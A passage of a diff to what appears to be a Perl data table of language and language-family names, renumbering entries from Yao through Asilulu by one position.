+   q(0473) => [
       q(Yao),
       ],
-   q(0473) => [
+   q(0474) => [
       q(Yapese),
       ],
-   q(0474) => [
+   q(0475) => [
       q(Yiddish),
       ],
-   q(0475) => [
+   q(0476) => [
       q(Yoruba),
       ],
-   q(0476) => [
+   q(0477) => [
       q(Yupik languages),
       ],
-   q(0477) => [
+   q(0478) => [
       q(Zapotec),
       ],
-   q(0478) => [
+   q(0479) => [
       q(Blissymbols),
       q(Blissymbolics),
       q(Bliss),
       ],
-   q(0479) => [
+   q(0480) => [
       q(Zenaga),
       ],
-   q(0480) => [
+   q(0481) => [
       q(Standard Moroccan Tamazight),
       ],
-   q(0481) => [
+   q(0482) => [
       q(Zhuang),
       q(Chuang),
       ],
-   q(0482) => [
+   q(0483) => [
       q(Zande languages),
       ],
-   q(0483) => [
+   q(0484) => [
       q(Zulu),
       ],
-   q(0484) => [
+   q(0485) => [
       q(Zuni),
       ],
-   q(0485) => [
+   q(0486) => [
       q(No linguistic content),
       q(Not applicable),
       ],
-   q(0486) => [
+   q(0487) => [
       q(Zaza),
       q(Dimili),
       q(Dimli),
@@ -1601,9390 +1605,9391 @@
       q(Dimli (macrolanguage)),
       q(Kirmanjki (macrolanguage)),
       ],
-   q(0487) => [
+   q(0488) => [
       q(Austro-Asiatic languages),
       ],
-   q(0488) => [
+   q(0489) => [
       q(Atlantic-Congo languages),
       ],
-   q(0489) => [
+   q(0490) => [
       q(Alacalufan languages),
       ],
-   q(0490) => [
+   q(0491) => [
       q(Algic languages),
       ],
-   q(0491) => [
+   q(0492) => [
       q(Arauan languages),
       ],
-   q(0492) => [
+   q(0493) => [
       q(Arawakan languages),
       ],
-   q(0493) => [
+   q(0494) => [
       q(Uto-Aztecan languages),
       ],
-   q(0494) => [
+   q(0495) => [
       q(Chibchan languages),
       ],
-   q(0495) => [
+   q(0496) => [
       q(North Caucasian languages),
       ],
-   q(0496) => [
+   q(0497) => [
       q(South Caucasian languages),
       ],
-   q(0497) => [
+   q(0498) => [
       q(Chadic languages),
       ],
-   q(0498) => [
+   q(0499) => [
       q(Caddoan languages),
       ],
-   q(0499) => [
+   q(0500) => [
       q(Central Sudanic languages),
       ],
-   q(0500) => [
+   q(0501) => [
       q(Mande languages),
       ],
-   q(0501) => [
+   q(0502) => [
       q(Egyptian languages),
       ],
-   q(0502) => [
+   q(0503) => [
       q(Eskimo-Aleut languages),
       ],
-   q(0503) => [
+   q(0504) => [
       q(Basque (family)),
       ],
-   q(0504) => [
+   q(0505) => [
       q(Formosan languages),
       ],
-   q(0505) => [
+   q(0506) => [
       q(East Germanic languages),
       ],
-   q(0506) => [
+   q(0507) => [
       q(North Germanic languages),
       ],
-   q(0507) => [
+   q(0508) => [
       q(West Germanic languages),
       ],
-   q(0508) => [
+   q(0509) => [
       q(Greek languages),
       ],
-   q(0509) => [
+   q(0510) => [
       q(Hmong-Mien languages),
       ],
-   q(0510) => [
+   q(0511) => [
       q(Hokan languages),
       ],
-   q(0511) => [
+   q(0512) => [
       q(Armenian (family)),
       ],
-   q(0512) => [
+   q(0513) => [
       q(Indo-Iranian languages),
       ],
-   q(0513) => [
+   q(0514) => [
       q(Italic languages),
       ],
-   q(0514) => [
+   q(0515) => [
       q(Japanese (family)),
       ],
-   q(0515) => [
+   q(0516) => [
       q(Kordofanian languages),
       ],
-   q(0516) => [
+   q(0517) => [
       q(Trans-New Guinea languages),
       ],
-   q(0517) => [
+   q(0518) => [
       q(Oto-Manguean languages),
       ],
-   q(0518) => [
+   q(0519) => [
       q(Omotic languages),
       ],
-   q(0519) => [
+   q(0520) => [
       q(Central Malayo-Polynesian languages),
       ],
-   q(0520) => [
+   q(0521) => [
       q(Malayo-Polynesian languages),
       ],
-   q(0521) => [
+   q(0522) => [
       q(Eastern Malayo-Polynesian languages),
       ],
-   q(0522) => [
+   q(0523) => [
       q(Western Malayo-Polynesian languages),
       ],
-   q(0523) => [
+   q(0524) => [
       q(Quechuan (family)),
       ],
-   q(0524) => [
+   q(0525) => [
       q(Eastern Sudanic languages),
       ],
-   q(0525) => [
+   q(0526) => [
       q(Albanian languages),
       ],
-   q(0526) => [
+   q(0527) => [
       q(Samoyedic languages),
       ],
-   q(0527) => [
+   q(0528) => [
       q(Tibeto-Burman languages),
       ],
-   q(0528) => [
+   q(0529) => [
       q(Turkic languages),
       ],
-   q(0529) => [
+   q(0530) => [
       q(Tungus languages),
       ],
-   q(0530) => [
+   q(0531) => [
       q(Uralic languages),
       ],
-   q(0531) => [
+   q(0532) => [
       q(Mongolian languages),
       ],
-   q(0532) => [
+   q(0533) => [
       q(Na-Dene languages),
       ],
-   q(0533) => [
+   q(0534) => [
       q(Chinese (family)),
       ],
-   q(0534) => [
+   q(0535) => [
       q(East Slavic languages),
       ],
-   q(0535) => [
+   q(0536) => [
       q(South Slavic languages),
       ],
-   q(0536) => [
+   q(0537) => [
       q(West Slavic languages),
       ],
-   q(0537) => [
+   q(0538) => [
       q(Serbo-Croatian),
       ],
-   q(0538) => [
+   q(0539) => [
       q(Ghotuo),
       ],
-   q(0539) => [
+   q(0540) => [
       q(Alumu-Tesu),
       ],
-   q(0540) => [
+   q(0541) => [
       q(Ari),
       ],
-   q(0541) => [
+   q(0542) => [
       q(Amal),
       ],
-   q(0542) => [
+   q(0543) => [
       q(Arbereshe Albanian),
       ],
-   q(0543) => [
+   q(0544) => [
       q(Aranadan),
       ],
-   q(0544) => [
+   q(0545) => [
       q(Ambrak),
       ],
-   q(0545) => [
+   q(0546) => [
       q(Abu' Arapesh),
       ],
-   q(0546) => [
+   q(0547) => [
       q(Arifama-Miniafia),
       ],
-   q(0547) => [
+   q(0548) => [
       q(Ankave),
       ],
-   q(0548) => [
+   q(0549) => [
       q(Afade),
       ],
-   q(0549) => [
+   q(0550) => [
       q(Anambe),
       ],
-   q(0550) => [
+   q(0551) => [
       q(Algerian Saharan Arabic),
       ],
-   q(0551) => [
+   q(0552) => [
       q(Para Arara),
       ],
-   q(0552) => [
+   q(0553) => [
       q(Eastern Abnaki),
       ],
-   q(0553) => [
+   q(0554) => [
       q(Aasax),
       ],
-   q(0554) => [
+   q(0555) => [
       q(Arvanitika Albanian),
       ],
-   q(0555) => [
+   q(0556) => [
       q(Abau),
       ],
-   q(0556) => [
+   q(0557) => [
       q(Solong),
       ],
-   q(0557) => [
+   q(0558) => [
       q(Mandobo Atas),
       ],
-   q(0558) => [
+   q(0559) => [
       q(Amarasi),
       ],
-   q(0559) => [
+   q(0560) => [
       q(Abe),
       ],
-   q(0560) => [
+   q(0561) => [
       q(Bankon),
       ],
-   q(0561) => [
+   q(0562) => [
       q(Ambala Ayta),
       ],
-   q(0562) => [
+   q(0563) => [
       q(Manide),
       ],
-   q(0563) => [
+   q(0564) => [
       q(Western Abnaki),
       ],
-   q(0564) => [
+   q(0565) => [
       q(Abai Sungai),
       ],
-   q(0565) => [
+   q(0566) => [
       q(Abaga),
       ],
-   q(0566) => [
+   q(0567) => [
       q(Tajiki Arabic),
       ],
-   q(0567) => [
+   q(0568) => [
       q(Abidji),
       ],
-   q(0568) => [
+   q(0569) => [
       q(Aka-Bea),
       ],
-   q(0569) => [
+   q(0570) => [
       q(Lampung Nyo),
       ],
-   q(0570) => [
+   q(0571) => [
       q(Abanyom),
       ],
-   q(0571) => [
+   q(0572) => [
       q(Abua),
       ],
-   q(0572) => [
+   q(0573) => [
       q(Abon),
       ],
-   q(0573) => [
+   q(0574) => [
       q(Abellen Ayta),
       ],
-   q(0574) => [
+   q(0575) => [
       q(Abaza),
       ],
-   q(0575) => [
+   q(0576) => [
       q(Abron),
       ],
-   q(0576) => [
+   q(0577) => [
       q(Ambonese Malay),
       ],
-   q(0577) => [
+   q(0578) => [
       q(Ambulas),
       ],
-   q(0578) => [
+   q(0579) => [
       q(Abure),
       ],
-   q(0579) => [
+   q(0580) => [
       q(Baharna Arabic),
       ],
-   q(0580) => [
+   q(0581) => [
       q(Pal),
       ],
-   q(0581) => [
+   q(0582) => [
       q(Inabaknon),
       ],
-   q(0582) => [
+   q(0583) => [
       q(Aneme Wake),
       ],
-   q(0583) => [
+   q(0584) => [
       q(Abui),
       ],
-   q(0584) => [
+   q(0585) => [
       q(Achagua),
       ],
-   q(0585) => [
+   q(0586) => [
       q(Anca),
       ],
-   q(0586) => [
+   q(0587) => [
       q(Gikyode),
       ],
-   q(0587) => [
+   q(0588) => [
       q(Saint Lucian Creole French),
       ],
-   q(0588) => [
+   q(0589) => [
       q(Aka-Cari),
       ],
-   q(0589) => [
+   q(0590) => [
       q(Aka-Kora),
       ],
-   q(0590) => [
+   q(0591) => [
       q(Akar-Bale),
       ],
-   q(0591) => [
+   q(0592) => [
       q(Mesopotamian Arabic),
       ],
-   q(0592) => [
+   q(0593) => [
       q(Achang),
       ],
-   q(0593) => [
+   q(0594) => [
       q(Eastern Acipa),
       ],
-   q(0594) => [
+   q(0595) => [
       q(Ta'izzi-Adeni Arabic),
       ],
-   q(0595) => [
+   q(0596) => [
       q(Achi),
       ],
-   q(0596) => [
+   q(0597) => [
       q(Acroa),
       ],
-   q(0597) => [
+   q(0598) => [
       q(Achterhoeks),
       ],
-   q(0598) => [
+   q(0599) => [
       q(Achuar-Shiwiar),
       ],
-   q(0599) => [
+   q(0600) => [
       q(Achumawi),
       ],
-   q(0600) => [
+   q(0601) => [
       q(Hijazi Arabic),
       ],
-   q(0601) => [
+   q(0602) => [
       q(Omani Arabic),
       ],
-   q(0602) => [
+   q(0603) => [
       q(Cypriot Arabic),
       ],
-   q(0603) => [
+   q(0604) => [
       q(Acheron),
       ],
-   q(0604) => [
+   q(0605) => [
       q(Adabe),
       ],
-   q(0605) => [
+   q(0606) => [
       q(Dzodinka),
       ],
-   q(0606) => [
+   q(0607) => [
       q(Adele),
       ],
-   q(0607) => [
+   q(0608) => [
       q(Dhofari Arabic),
       ],
-   q(0608) => [
+   q(0609) => [
       q(Andegerebinha),
       ],
-   q(0609) => [
+   q(0610) => [
       q(Adhola),
       ],
-   q(0610) => [
+   q(0611) => [
       q(Adi),
       ],
-   q(0611) => [
+   q(0612) => [
       q(Adioukrou),
       ],
-   q(0612) => [
+   q(0613) => [
       q(Galo),
       ],
-   q(0613) => [
+   q(0614) => [
       q(Adang),
       ],
-   q(0614) => [
+   q(0615) => [
       q(Abu),
       ],
-   q(0615) => [
+   q(0616) => [
       q(Adangbe),
       ],
-   q(0616) => [
+   q(0617) => [
       q(Adonara),
       ],
-   q(0617) => [
+   q(0618) => [
       q(Adamorobe Sign Language),
       ],
-   q(0618) => [
+   q(0619) => [
       q(Adnyamathanha),
       ],
-   q(0619) => [
+   q(0620) => [
       q(Aduge),
       ],
-   q(0620) => [
+   q(0621) => [
       q(Amundava),
       ],
-   q(0621) => [
+   q(0622) => [
       q(Amdo Tibetan),
       ],
-   q(0622) => [
+   q(0623) => [
       q(Adzera),
       ],
-   q(0623) => [
+   q(0624) => [
       q(Areba),
       ],
-   q(0624) => [
+   q(0625) => [
       q(Tunisian Arabic),
       ],
-   q(0625) => [
+   q(0626) => [
       q(Saidi Arabic),
       ],
-   q(0626) => [
+   q(0627) => [
       q(Argentine Sign Language),
       ],
-   q(0627) => [
+   q(0628) => [
       q(Northeast Pashai),
       q(Northeast Pashayi),
       ],
-   q(0628) => [
+   q(0629) => [
       q(Haeke),
       ],
-   q(0629) => [
+   q(0630) => [
       q(Ambele),
       ],
-   q(0630) => [
+   q(0631) => [
       q(Arem),
       ],
-   q(0631) => [
+   q(0632) => [
       q(Armenian Sign Language),
       ],
-   q(0632) => [
+   q(0633) => [
       q(Aer),
       ],
-   q(0633) => [
+   q(0634) => [
       q(Eastern Arrernte),
       ],
-   q(0634) => [
+   q(0635) => [
       q(Alsea),
       ],
-   q(0635) => [
+   q(0636) => [
       q(Akeu),
       ],
-   q(0636) => [
+   q(0637) => [
       q(Ambakich),
       ],
-   q(0637) => [
+   q(0638) => [
       q(Amele),
       ],
-   q(0638) => [
+   q(0639) => [
       q(Aeka),
       ],
-   q(0639) => [
+   q(0640) => [
       q(Gulf Arabic),
       ],
-   q(0640) => [
+   q(0641) => [
       q(Andai),
       ],
-   q(0641) => [
+   q(0642) => [
       q(Putukwam),
       ],
-   q(0642) => [
+   q(0643) => [
       q(Afghan Sign Language),
       ],
-   q(0643) => [
+   q(0644) => [
       q(Akrukay),
       q(Chini),
       ],
-   q(0644) => [
+   q(0645) => [
       q(Nanubae),
       ],
-   q(0645) => [
+   q(0646) => [
       q(Defaka),
       ],
-   q(0646) => [
+   q(0647) => [
       q(Eloyi),
       ],
-   q(0647) => [
+   q(0648) => [
       q(Tapei),
       ],
-   q(0648) => [
+   q(0649) => [
       q(Afro-Seminole Creole),
       ],
-   q(0649) => [
+   q(0650) => [
       q(Afitti),
       ],
-   q(0650) => [
+   q(0651) => [
       q(Awutu),
       ],
-   q(0651) => [
+   q(0652) => [
       q(Obokuitai),
       ],
-   q(0652) => [
+   q(0653) => [
       q(Aguano),
       ],
-   q(0653) => [
+   q(0654) => [
       q(Legbo),
       ],
-   q(0654) => [
+   q(0655) => [
       q(Agatu),
       ],
-   q(0655) => [
+   q(0656) => [
       q(Agarabi),
       ],
-   q(0656) => [
+   q(0657) => [
       q(Angal),
       ],
-   q(0657) => [
+   q(0658) => [
       q(Arguni),
       ],
-   q(0658) => [
+   q(0659) => [
       q(Angor),
       ],
-   q(0659) => [
+   q(0660) => [
       q(Ngelima),
       ],
-   q(0660) => [
+   q(0661) => [
       q(Agariya),
       ],
-   q(0661) => [
+   q(0662) => [
       q(Argobba),
       ],
-   q(0662) => [
+   q(0663) => [
       q(Isarog Agta),
       ],
-   q(0663) => [
+   q(0664) => [
       q(Fembe),
       ],
-   q(0664) => [
+   q(0665) => [
       q(Angaataha),
       ],
-   q(0665) => [
+   q(0666) => [
       q(Agutaynen),
       ],
-   q(0666) => [
+   q(0667) => [
       q(Tainae),
       ],
-   q(0667) => [
+   q(0668) => [
       q(Aghem),
       ],
-   q(0668) => [
+   q(0669) => [
       q(Aguaruna),
       ],
-   q(0669) => [
+   q(0670) => [
       q(Esimbi),
       ],
-   q(0670) => [
+   q(0671) => [
       q(Central Cagayan Agta),
       ],
-   q(0671) => [
+   q(0672) => [
       q(Aguacateco),
       ],
-   q(0672) => [
+   q(0673) => [
       q(Remontado Dumagat),
       ],
-   q(0673) => [
+   q(0674) => [
       q(Kahua),
       ],
-   q(0674) => [
+   q(0675) => [
       q(Aghul),
       ],
-   q(0675) => [
+   q(0676) => [
       q(Southern Alta),
       ],
-   q(0676) => [
+   q(0677) => [
       q(Mt. Iriga Agta),
       ],
-   q(0677) => [
+   q(0678) => [
       q(Ahanta),
       ],
-   q(0678) => [
+   q(0679) => [
       q(Axamb),
       ],
-   q(0679) => [
+   q(0680) => [
       q(Qimant),
       ],
-   q(0680) => [
+   q(0681) => [
       q(Aghu),
       ],
-   q(0681) => [
+   q(0682) => [
       q(Tiagbamrin Aizi),
       ],
-   q(0682) => [
+   q(0683) => [
       q(Akha),
       ],
-   q(0683) => [
+   q(0684) => [
       q(Igo),
       ],
-   q(0684) => [
+   q(0685) => [
       q(Mobumrin Aizi),
       ],
-   q(0685) => [
+   q(0686) => [
       q(Ahan),
       ],
-   q(0686) => [
+   q(0687) => [
       q(Ahom),
       ],
-   q(0687) => [
+   q(0688) => [
       q(Aproumu Aizi),
       ],
-   q(0688) => [
+   q(0689) => [
       q(Ahirani),
       ],
-   q(0689) => [
+   q(0690) => [
       q(Ashe),
       ],
-   q(0690) => [
+   q(0691) => [
       q(Ahtena),
       ],
-   q(0691) => [
+   q(0692) => [
       q(Arosi),
       ],
-   q(0692) => [
+   q(0693) => [
       q(Ainu (China)),
       ],
-   q(0693) => [
+   q(0694) => [
       q(Ainbai),
       ],
-   q(0694) => [
+   q(0695) => [
       q(Alngith),
       ],
-   q(0695) => [
+   q(0696) => [
       q(Amara),
       ],
-   q(0696) => [
+   q(0697) => [
       q(Agi),
       ],
-   q(0697) => [
+   q(0698) => [
       q(Antigua and Barbuda Creole English),
       ],
-   q(0698) => [
+   q(0699) => [
       q(Ai-Cham),
       ],
-   q(0699) => [
+   q(0700) => [
       q(Assyrian Neo-Aramaic),
       ],
-   q(0700) => [
+   q(0701) => [
       q(Lishanid Noshan),
       ],
-   q(0701) => [
+   q(0702) => [
       q(Ake),
       ],
-   q(0702) => [
+   q(0703) => [
       q(Aimele),
       ],
-   q(0703) => [
+   q(0704) => [
       q(Aimol),
       ],
-   q(0704) => [
+   q(0705) => [
       q(Aiton),
       ],
-   q(0705) => [
+   q(0706) => [
       q(Burumakok),
       ],
-   q(0706) => [
+   q(0707) => [
       q(Aimaq),
       ],
-   q(0707) => [
+   q(0708) => [
       q(Airoran),
       ],
-   q(0708) => [
+   q(0709) => [
       q(Nataoran Amis),
       ],
-   q(0709) => [
+   q(0710) => [
       q(Arikem),
       ],
-   q(0710) => [
+   q(0711) => [
       q(Aari),
       ],
-   q(0711) => [
+   q(0712) => [
       q(Aighon),
       ],
-   q(0712) => [
+   q(0713) => [
       q(Ali),
       ],
-   q(0713) => [
+   q(0714) => [
       q(Aja (Sudan)),
       ],
-   q(0714) => [
+   q(0715) => [
       q(Aja (Benin)),
       ],
-   q(0715) => [
+   q(0716) => [
       q(Ajie),
       ],
-   q(0716) => [
+   q(0717) => [
       q(Andajin),
       ],
-   q(0717) => [
+   q(0718) => [
       q(South Levantine Arabic),
       ],
-   q(0718) => [
+   q(0719) => [
       q(Judeo-Tunisian Arabic),
       ],
-   q(0719) => [
+   q(0720) => [
       q(Judeo-Moroccan Arabic),
       ],
-   q(0720) => [
+   q(0721) => [
       q(Ajawa),
       ],
-   q(0721) => [
+   q(0722) => [
       q(Amri Karbi),
       ],
-   q(0722) => [
+   q(0723) => [
       q(Batak Angkola),
       ],
-   q(0723) => [
+   q(0724) => [
       q(Mpur),
       ],
-   q(0724) => [
+   q(0725) => [
       q(Ukpet-Ehom),
       ],
-   q(0725) => [
+   q(0726) => [
       q(Akawaio),
       ],
-   q(0726) => [
+   q(0727) => [
       q(Akpa),
       ],
-   q(0727) => [
+   q(0728) => [
       q(Anakalangu),
       ],
-   q(0728) => [
+   q(0729) => [
       q(Angal Heneng),
       ],
-   q(0729) => [
+   q(0730) => [
       q(Aiome),
       ],
-   q(0730) => [
+   q(0731) => [
       q(Aka-Jeru),
       ],
-   q(0731) => [
+   q(0732) => [
       q(Aklanon),
       ],
-   q(0732) => [
+   q(0733) => [
       q(Aka-Bo),
       ],
-   q(0733) => [
+   q(0734) => [
       q(Akurio),
       ],
-   q(0734) => [
+   q(0735) => [
       q(Siwu),
       ],
-   q(0735) => [
+   q(0736) => [
       q(Ak),
       ],
-   q(0736) => [
+   q(0737) => [
       q(Araki),
       ],
-   q(0737) => [
+   q(0738) => [
       q(Akaselem),
       ],
-   q(0738) => [
+   q(0739) => [
       q(Akolet),
       ],
-   q(0739) => [
+   q(0740) => [
       q(Akum),
       ],
-   q(0740) => [
+   q(0741) => [
       q(Akhvakh),
       ],
-   q(0741) => [
+   q(0742) => [
       q(Akwa),
       ],
-   q(0742) => [
+   q(0743) => [
       q(Aka-Kede),
       ],
-   q(0743) => [
+   q(0744) => [
       q(Aka-Kol),
       ],
-   q(0744) => [
+   q(0745) => [
       q(Alabama),
       ],
-   q(0745) => [
+   q(0746) => [
       q(Alago),
       ],
-   q(0746) => [
+   q(0747) => [
       q(Qawasqar),
       ],
-   q(0747) => [
+   q(0748) => [
       q(Alladian),
       ],
-   q(0748) => [
+   q(0749) => [
       q(Alege),
       ],
-   q(0749) => [
+   q(0750) => [
       q(Alawa),
       ],
-   q(0750) => [
+   q(0751) => [
       q(Amaimon),
       ],
-   q(0751) => [
+   q(0752) => [
       q(Alangan),
       ],
-   q(0752) => [
+   q(0753) => [
       q(Alak),
       ],
-   q(0753) => [
+   q(0754) => [
       q(Allar),
       ],
-   q(0754) => [
+   q(0755) => [
       q(Amblong),
       ],
-   q(0755) => [
+   q(0756) => [
       q(Gheg Albanian),
       ],
-   q(0756) => [
+   q(0757) => [
       q(Larike-Wakasihu),
       ],
-   q(0757) => [
+   q(0758) => [
       q(Alune),
       ],
-   q(0758) => [
+   q(0759) => [
       q(Algonquin),
       ],
-   q(0759) => [
+   q(0760) => [
       q(Alutor),
       ],
-   q(0760) => [
+   q(0761) => [
       q(Tosk Albanian),
       ],
-   q(0761) => [
+   q(0762) => [
       q('Are'are),
       ],
-   q(0762) => [
+   q(0763) => [
       q(Alaba-K'abeena),
       q(Wanbasana),
       ],
-   q(0763) => [
+   q(0764) => [
       q(Amol),
       ],
-   q(0764) => [
+   q(0765) => [
       q(Alyawarr),
       ],
-   q(0765) => [
+   q(0766) => [
       q(Alur),
       ],
-   q(0766) => [
+   q(0767) => [
       q(Amanaye),
       ],
-   q(0767) => [
+   q(0768) => [
       q(Ambo),
       ],
-   q(0768) => [
+   q(0769) => [
       q(Amahuaca),
       ],
-   q(0769) => [
+   q(0770) => [
       q(Yanesha'),
       ],
-   q(0770) => [
+   q(0771) => [
       q(Hamer-Banna),
       ],
-   q(0771) => [
+   q(0772) => [
       q(Amurdak),
       ],
-   q(0772) => [
+   q(0773) => [
       q(Amis),
       ],
-   q(0773) => [
+   q(0774) => [
       q(Amdang),
       ],
-   q(0774) => [
+   q(0775) => [
       q(Ambai),
       ],
-   q(0775) => [
+   q(0776) => [
       q(War-Jaintia),
       ],
-   q(0776) => [
+   q(0777) => [
       q(Ama (Papua New Guinea)),
       ],
-   q(0777) => [
+   q(0778) => [
       q(Amanab),
       ],
-   q(0778) => [
+   q(0779) => [
       q(Amo),
       ],
-   q(0779) => [
+   q(0780) => [
       q(Alamblak),
       ],
-   q(0780) => [
+   q(0781) => [
       q(Amahai),
       ],
-   q(0781) => [
+   q(0782) => [
       q(Amarakaeri),
       ],
-   q(0782) => [
+   q(0783) => [
       q(Southern Amami-Oshima),
       ],
-   q(0783) => [
+   q(0784) => [
       q(Amto),
       ],
-   q(0784) => [
+   q(0785) => [
       q(Guerrero Amuzgo),
       ],
-   q(0785) => [
+   q(0786) => [
       q(Ambelau),
       ],
-   q(0786) => [
+   q(0787) => [
       q(Western Neo-Aramaic),
       ],
-   q(0787) => [
+   q(0788) => [
       q(Anmatyerre),
       ],
-   q(0788) => [
+   q(0789) => [
       q(Ami),
       ],
-   q(0789) => [
+   q(0790) => [
       q(Atampaya),
       ],
-   q(0790) => [
+   q(0791) => [
       q(Andaqui),
       ],
-   q(0791) => [
+   q(0792) => [
       q(Andoa),
       ],
-   q(0792) => [
+   q(0793) => [
       q(Ngas),
       ],
-   q(0793) => [
+   q(0794) => [
       q(Ansus),
       ],
-   q(0794) => [
+   q(0795) => [
       q(Xaracuu),
       ],
-   q(0795) => [
+   q(0796) => [
       q(Animere),
       ],
-   q(0796) => [
+   q(0797) => [
       q(Nend),
       ],
-   q(0797) => [
+   q(0798) => [
       q(Andi),
       ],
-   q(0798) => [
+   q(0799) => [
       q(Anor),
       ],
-   q(0799) => [
+   q(0800) => [
       q(Goemai),
       ],
-   q(0800) => [
+   q(0801) => [
       q(Anu-Hkongso Chin),
       ],
-   q(0801) => [
+   q(0802) => [
       q(Anal),
       ],
-   q(0802) => [
+   q(0803) => [
       q(Obolo),
       ],
-   q(0803) => [
+   q(0804) => [
       q(Andoque),
       ],
-   q(0804) => [
+   q(0805) => [
       q(Jarawa (India)),
       ],
-   q(0805) => [
+   q(0806) => [
       q(Andh),
       ],
-   q(0806) => [
+   q(0807) => [
       q(Anserma),
       ],
-   q(0807) => [
+   q(0808) => [
       q(Antakarinya),
       ],
-   q(0808) => [
+   q(0809) => [
       q(Anuak),
       ],
-   q(0809) => [
+   q(0810) => [
       q(Denya),
       ],
-   q(0810) => [
+   q(0811) => [
       q(Anaang),
       ],
-   q(0811) => [
+   q(0812) => [
       q(Andra-Hus),
       ],
-   q(0812) => [
+   q(0813) => [
       q(Anyin),
       ],
-   q(0813) => [
+   q(0814) => [
       q(Anem),
       ],
-   q(0814) => [
+   q(0815) => [
       q(Angolar),
       ],
-   q(0815) => [
+   q(0816) => [
       q(Abom),
       ],
-   q(0816) => [
+   q(0817) => [
       q(Pemon),
       ],
-   q(0817) => [
+   q(0818) => [
       q(Andarum),
       ],
-   q(0818) => [
+   q(0819) => [
       q(Angal Enen),
       ],
-   q(0819) => [
+   q(0820) => [
       q(Bragat),
       ],
-   q(0820) => [
+   q(0821) => [
       q(Angoram),
       ],
-   q(0821) => [
+   q(0822) => [
       q(Arma),
       ],
-   q(0822) => [
+   q(0823) => [
       q(Anindilyakwa),
       ],
-   q(0823) => [
+   q(0824) => [
       q(Mufian),
       ],
-   q(0824) => [
+   q(0825) => [
       q(Arho),
       ],
-   q(0825) => [
+   q(0826) => [
       q(Alor),
       ],
-   q(0826) => [
+   q(0827) => [
       q(Omie),
       ],
-   q(0827) => [
+   q(0828) => [
       q(Bumbita Arapesh),
       ],
-   q(0828) => [
+   q(0829) => [
       q(Aore),
       ],
-   q(0829) => [
+   q(0830) => [
       q(Taikat),
       ],
-   q(0830) => [
+   q(0831) => [
       q(Atong (India)),
       q(A'tong),
       ],
-   q(0831) => [
+   q(0832) => [
       q(A'ou),
       ],
-   q(0832) => [
+   q(0833) => [
       q(Atorada),
       ],
-   q(0833) => [
+   q(0834) => [
       q(Uab Meto),
       ],
-   q(0834) => [
+   q(0835) => [
       q(Sa'a),
       ],
-   q(0835) => [
+   q(0836) => [
       q(North Levantine Arabic),
       ],
-   q(0836) => [
+   q(0837) => [
       q(Sudanese Arabic),
       ],
-   q(0837) => [
+   q(0838) => [
       q(Bukiyip),
       ],
-   q(0838) => [
+   q(0839) => [
       q(Pahanan Agta),
       ],
-   q(0839) => [
+   q(0840) => [
       q(Ampanang),
       ],
-   q(0840) => [
+   q(0841) => [
       q(Athpariya),
       ],
-   q(0841) => [
+   q(0842) => [
       q(Apiaka),
       ],
-   q(0842) => [
+   q(0843) => [
       q(Jicarilla Apache),
       ],
-   q(0843) => [
+   q(0844) => [
       q(Kiowa Apache),
       ],
-   q(0844) => [
+   q(0845) => [
       q(Lipan Apache),
       ],
-   q(0845) => [
+   q(0846) => [
       q(Mescalero-Chiricahua Apache),
       ],
-   q(0846) => [
+   q(0847) => [
       q(Apinaye),
       ],
-   q(0847) => [
+   q(0848) => [
       q(Ambul),
       ],
-   q(0848) => [
+   q(0849) => [
       q(Apma),
       ],
-   q(0849) => [
+   q(0850) => [
       q(A-Pucikwar),
       ],
-   q(0850) => [
+   q(0851) => [
       q(Arop-Lokep),
       ],
-   q(0851) => [
+   q(0852) => [
       q(Arop-Sissano),
       ],
-   q(0852) => [
+   q(0853) => [
       q(Apatani),
       ],
-   q(0853) => [
+   q(0854) => [
       q(Apurina),
       ],
-   q(0854) => [
+   q(0855) => [
       q(Alapmunte),
       ],
-   q(0855) => [
+   q(0856) => [
       q(Western Apache),
       ],
-   q(0856) => [
+   q(0857) => [
       q(Aputai),
       ],
-   q(0857) => [
+   q(0858) => [
       q(Apalai),
       ],
-   q(0858) => [
+   q(0859) => [
       q(Safeyoka),
       ],
-   q(0859) => [
+   q(0860) => [
       q(Archi),
       ],
-   q(0860) => [
+   q(0861) => [
       q(Ampari Dogon),
       ],
-   q(0861) => [
+   q(0862) => [
       q(Arigidi),
       ],
-   q(0862) => [
+   q(0863) => [
       q(Atohwaim),
       ],
-   q(0863) => [
+   q(0864) => [
       q(Northern Alta),
       ],
-   q(0864) => [
+   q(0865) => [
       q(Atakapa),
       ],
-   q(0865) => [
+   q(0866) => [
       q(Arha),
       ],
-   q(0866) => [
+   q(0867) => [
       q(Angaite),
       ],
-   q(0867) => [
+   q(0868) => [
       q(Akuntsu),
       ],
-   q(0868) => [
+   q(0869) => [
       q(Standard Arabic),
       ],
-   q(0869) => [
+   q(0870) => [
       q(Arabana),
       ],
-   q(0870) => [
+   q(0871) => [
       q(Western Arrarnta),
       ],
-   q(0871) => [
+   q(0872) => [
       q(Arhuaco),
       ],
-   q(0872) => [
+   q(0873) => [
       q(Arikara),
       ],
-   q(0873) => [
+   q(0874) => [
       q(Arapaso),
       ],
-   q(0874) => [
+   q(0875) => [
       q(Arikapu),
       ],
-   q(0875) => [
+   q(0876) => [
       q(Arabela),
       ],
-   q(0876) => [
+   q(0877) => [
       q(Araona),
       ],
-   q(0877) => [
+   q(0878) => [
       q(Algerian Arabic),
       ],
-   q(0878) => [
+   q(0879) => [
       q(Karo (Brazil)),
       ],
-   q(0879) => [
+   q(0880) => [
       q(Najdi Arabic),
       ],
-   q(0880) => [
+   q(0881) => [
       q(Arua (Amazonas State)),
       q(Arawa),
       ],
-   q(0881) => [
+   q(0882) => [
       q(Arbore),
       ],
-   q(0882) => [
+   q(0883) => [
       q(Arua (Rodonia State)),
       ],
-   q(0883) => [
+   q(0884) => [
       q(Moroccan Arabic),
       ],
-   q(0884) => [
+   q(0885) => [
       q(Egyptian Arabic),
       ],
-   q(0885) => [
+   q(0886) => [
       q(Asu (Tanzania)),
       ],
-   q(0886) => [
+   q(0887) => [
       q(Assiniboine),
       ],
-   q(0887) => [
+   q(0888) => [
       q(Casuarina Coast Asmat),
       ],
-   q(0888) => [
+   q(0889) => [
       q(Asas),
       ],
-   q(0889) => [
+   q(0890) => [
       q(American Sign Language),
       ],
-   q(0890) => [
+   q(0891) => [
       q(Australian Sign Language),
       ],
-   q(0891) => [
+   q(0892) => [
       q(Cishingini),
       ],
-   q(0892) => [
+   q(0893) => [
       q(Abishira),
       ],
-   q(0893) => [
+   q(0894) => [
       q(Buruwai),
       ],
-   q(0894) => [
+   q(0895) => [
       q(Sari),
       ],
-   q(0895) => [
+   q(0896) => [
       q(Ashkun),
       ],
-   q(0896) => [
+   q(0897) => [
       q(Asilulu),
